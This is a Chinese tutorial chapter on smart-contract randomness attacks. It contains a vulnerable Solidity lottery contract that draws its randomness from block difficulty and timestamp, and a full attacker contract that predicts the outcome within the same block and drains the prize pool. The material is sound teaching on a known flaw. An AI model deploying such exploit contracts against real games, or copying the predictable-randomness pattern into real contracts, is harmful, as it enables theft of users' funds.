智能合约安全:随机数攻击
随机数攻击,就是针对智能合约的随机数生成算法进行攻击,预测智能合约的随机数。
目前区块链上很多游戏都是采用的链上信息(如区块时间戳,未来区块哈希等)作为游戏合约的随机数源,也称随机数种子。
使用这种随机数种子生成的随机数被称为伪随机数。伪随机数不是真的随机数,存在被预测的可能。
当使用可被预测的随机数种子生成随机数的时候,一旦随机数生成的算法被攻击者猜测到,或通过逆向等其他方式拿到,攻击者就可以根据随机数的生成算法,预测游戏即将出现的随机数,实现随机数预测,达到攻击目的。
被攻击者合约
被攻击者合约 Random 是一个猜数字游戏。
游戏玩家随时可以调用一个合约函数 mint(),这时 mint 函数内会产生一个随机数。
如果这个随机数是奇数的话,就表示此次调用中奖了,合约将给予游戏玩家一定的奖励。
如果这个随机数是偶数,就表示没有中奖。
被攻击者合约 Random
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Random { event Log(string); mapping (uint256 => bool) tokenId_luckys; // 生成随机数确定是否中奖,如果中奖则转账给中奖者 function mint() public payable { //...... // 获取随机数,确定是否中奖 bool randLucky = _getRandom(); uint256 token_Id = _totalMinted(); tokenId_luckys[token_Id] = randLucky; if (tokenId_luckys[token_Id] == true){ /* // 原始代码:中奖逻辑,中奖者奖励1.9倍 require(payable(msg.sender).send((price * 190) / 100)); require(payable(widthdrawAddress).send((price * 10) / 100)); */ // 测试代码 bool ok = payable(msg.sender).send(1 ether); if ( !ok ){ } } } function _getRandom() private view returns(bool){ // 漏洞代码!!!!!! uint256 random = uint256(keccak256(abi.encodePacked(block.difficulty,block.timestamp))); uint256 rand = random % 2; if(rand == 0){ return false; } else { return true; } } // 查看奖池余额 function getBalance() external view returns(uint256) { return address(this).balance; } function _totalMinted() private pure returns(uint256) { return 1; } // 设置部署时可以转入 eth constructor() payable{} }
攻击者合约 Attack
攻击目标合约函数 attack(address _random) ,参数是攻击目标合约的地址。
使用了一个死循环,不断判断目标合约的余额,直至取光里面所有的 Eth。
循环过程中,计算由当前区块的难度值和时间戳产生的哈希值,如果不符合要求,就返回等待下一个区块。
如果符合要求,调用目标合约的mint函数,保证中奖,取走奖金。
contract Attack { event Log(string); // 攻击目标合约,参数是目标合约地址 function attack(address _random) external payable { for (;;) { // 判断攻击目标合约的余额,如果小于 1 个 ether,表示取光,就返回 if (payable(_random).balance < 1) { emit Log("succeeded getting eth"); return; } // 计算由当前区块的难度值和时间戳产生的哈希值,用作随机数 // 如果随机数是偶数,表示本区块不会中奖,先返回,等待下一个区块 if(uint256(keccak256(abi.encodePacked(block.difficulty,block.timestamp))) % 2 == 0) { emit Log("failed to get rand, wait 10 seconds"); return; } // 如果随机数是偶数,表示已经中奖,那么立刻调用攻击目标的mint函数,获取奖励 (bool ok,) = _random.call(abi.encodeWithSignature("mint()")); if( !ok ){ emit Log("failed to call mint()"); return; } } } // 查看获利余额 function getBalance() external view returns(uint256) { return address(this).balance; } // 接收攻击获得的Eth receive() external payable {} }
攻击者合约就是利用了随机数算法并不随机的漏洞。
攻击合约者 Attack 调用目标合约 Random 的方法时,由于两者处于同一个区块,所以当前区块的 difficulty 和 timestamp 在两个合约中完全相同。
于是,攻击者合约 Attack 使用相同的算法,预先计算出随机数,判断能否中奖。如果能够中奖,再调用目标合约 Random,那么肯定能够得到奖励。如果不能中奖,就等待几秒钟,当区块链的下一个区块生成时,再进行测试。
所以,攻击者合约能够事先预知结果,最终会把奖池撸光。
下一章:智能合约安全:自毁函数攻击
自毁函数是由以太坊虚拟机 EVM 提供的一项功能,用于销毁区块链上部署的智能合约。当合约执行自毁操作时,合约账户上剩余的 ETH 会发送给指定的目标地址,然后其存储和代码从以太坊状态中被移除。自毁函数在 soli ...